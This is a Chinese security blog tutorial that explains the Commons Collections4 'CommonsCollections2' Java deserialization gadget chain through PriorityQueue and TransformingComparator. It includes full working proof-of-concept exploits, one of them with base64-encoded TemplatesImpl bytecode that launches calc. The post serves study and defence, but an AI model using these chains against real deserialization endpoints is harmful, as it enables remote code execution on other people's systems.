【java安全】CommonsCollections2(4.0)

本文最后更新于:2023年9月1日 上午

[TOC]

【java安全】CommonsCollections2

前言

Apache Commons Collections是一个重要的辅助开发库。包含了⼀些Java中没有的数据结构和和辅助方法,不过随着Java 9以后的版本中原⽣库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在2015年cc链被提出时,Apache Commons Collections有两个分支:

  • commons-collections:commons-collections(当时版本3.2.1)
  • org.apache.commons:commons-collections4(当时版本4.0)

官方认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产生⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个用来替换commons-collections的新版 本,而是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项目中。
那么很自然有个问题,既然3.2.1中存在反序列化利用链,那么4.0版本是否存在呢?

Commons-Collections4版本中能否调用cc6等链子?

我们在maven中导入这两个分支版本的jar包

image-20230720133253851

我们复制原来的cc6 poc进来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
// sun.reflect.annotation.AnnotationInvocationHandler
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

Map hashMap = new HashMap();

/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
//清空由于 hashMap.put 对 LazyMap 造成的影响
outerMap.clear();
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();

ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}

由于这里我们用到的是Commons-Collections4 4.0版本,所以我们需要将import导入的类org.apache.commons.collections换为:org.apache.commons.collections4

image-20230720133810797

结果发现LazyMap#decorate()方法爆红了,在Commons-Collections4中没有该方法

我们看一下原来decorate()方法的逻辑:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

就是调用LazyMap的构造方法而已

我们在Commons-Collections4中发现了lazyMap()方法可以用来代替

1
2
3
public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {
return new LazyMap(map, factory);
}

替换一下就好了

image-20230720135006891

成功弹出计算器,说明可以在Commons-Collections4中执行cc1、cc6等链子

PriorityQueue利用链

除了前面学习的几条利用链,ysoserial还提出了2条新的链子:

  • CommonsCollections2
  • CommonsCollections4

我们这里学习一下CommonsCollections2

首先了解一下java.util.PriorityQueue

PriorityQueue

这个类中存在readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

反序列化时会调用heapify()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

heapify()方法会调用siftDown()方法,继而调用siftDownUsingComparator(),然后调用comparator.compare()方法,这个comparator变量是可控的,我们看一下PriorityQueue的构造方法:

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

comparator是一个Comparator类型的对象,我们可以找到一个org.apache.commons.collections4.comparators.TransformingComparator

TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class TransformingComparator implements Comparator {
protected Comparator decorated;
protected Transformer transformer;

public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}

public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}

这个TransformingComparator类的compare()方法可以调用transform方法

于是我们就可以构造一条从PriorityQueueTransformingComparator调用其compare()方法,再调用transform()方法导致反序列化的链子了

使用了phithon的总结:

  • java.util.PriorityQueue是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有自己的优先级,节点之间按照优先级大小排序成⼀棵树
  • 反序列化时为什么需要调⽤heapify()⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个 结构的顺序
  • 排序是靠将⼤的元素下移实现的。siftDown()是将节点下移的函数,⽽comparator.compare()⽤来⽐较两个元素⼤⼩
  • TransformingComparator实现了java.util.Comparator接⼝,这个接⼝⽤于定义两个对象如 何进⾏⽐较。siftDownUsingComparator()中就使⽤这个接⼝的compare()⽅法⽐较树的节点。

关于PriorityQueue这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

POC

首先创建Transformer

1
2
3
4
5
6
7
8
9
10
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

再创建一个TransformingComparator

1
Comparator comparator = new TransformingComparator(transformerChain);

然后我们需要实例化PriorityQueue

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

第一个参数是初始化的大小,至少要两个才能触发排序比较,所以填入2,第二个参数是Comparator传入之前创建的comparator

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator); 
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参 数的。

最后,将真正的恶意Transformer设置上:

1
setFieldValue(transformerChain, "iTransformers", transformers);

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Comparator comparator = new
TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

进阶POC

前面我们学习了TemplatesImpl不使用Transformer数组的形式构造,下面我们构造一个POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}



public static void main(String[] args) throws Exception {
String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=";
byte[] bytes= Base64.getDecoder().decode(s);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

POC分析

我们从简单分析一下这条链子:

首先创建一个TemplatesImpl对象obj

  • 使用反射的方式设置_bytecodes,内容是恶意的字节码数组,

  • 设置_name代表字节码反序列化文件的名字为HelloTemplatesImpl

  • _tfactory设置为TransformerFactoryImpl对象,防止为null返回导致不成功

然后创建一个InvokerTransformer对象,调用方法本来需要调用newTransformer()方法,但是先传入toString(),防止干扰

然后需要找一个类去调用InvokerTransformer#transform()方法,我们可以找到TransformingComparator类,TransformingComparator#compare()方法可以调用transform()方法,并且可以控制形参

如何调用TransformingComparator#compare()方法,可以追溯到PriorityQueue#readObjct()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

这个方法很重要,会根据PriorityQueue传入形参的大小形成相应大小的队列

readObject()方法可以形成一个调用链(queue的值很关键)

image-20230720164025961

我们首先需要创建一个PriorityQueue对象

1
2
// `2`代表队列大小为2
PriorityQueue queue = new PriorityQueue(2, comparator);

然后需要往队列里面添加两个值,这一次添加的值很重要,不能随便添加(Comparator#compare()方法调用transform()方法需要传入TemplatesImpl对象)

1
2
queue.add(obj);
queue.add(obj);

我们分析一下PriorityQueue#add()方法的执行过程:

image-20230720165831296

到这里我们就可以理解为什么之前要将InvokerTransform中方法换为toString()了,威为的是防止提前触发compare()方法

add()之后,我们将InvokerTransformeriMethodNametoString改为newTransformer就大功告成了

调用链

1
2
3
4
5
6
7
PriorityQueue#readObject()
heapify()
siftDown()
siftDownUsingComparator()
Comparator#compare()
InvokerTransformer#transform()
...

【java安全】CommonsCollections2(4.0)
https://leekosss.github.io/2023/08/24/[java安全]CommonsCollections2(4.0)/
作者
leekos
发布于
2023年8月24日
更新于
2023年9月1日
许可协议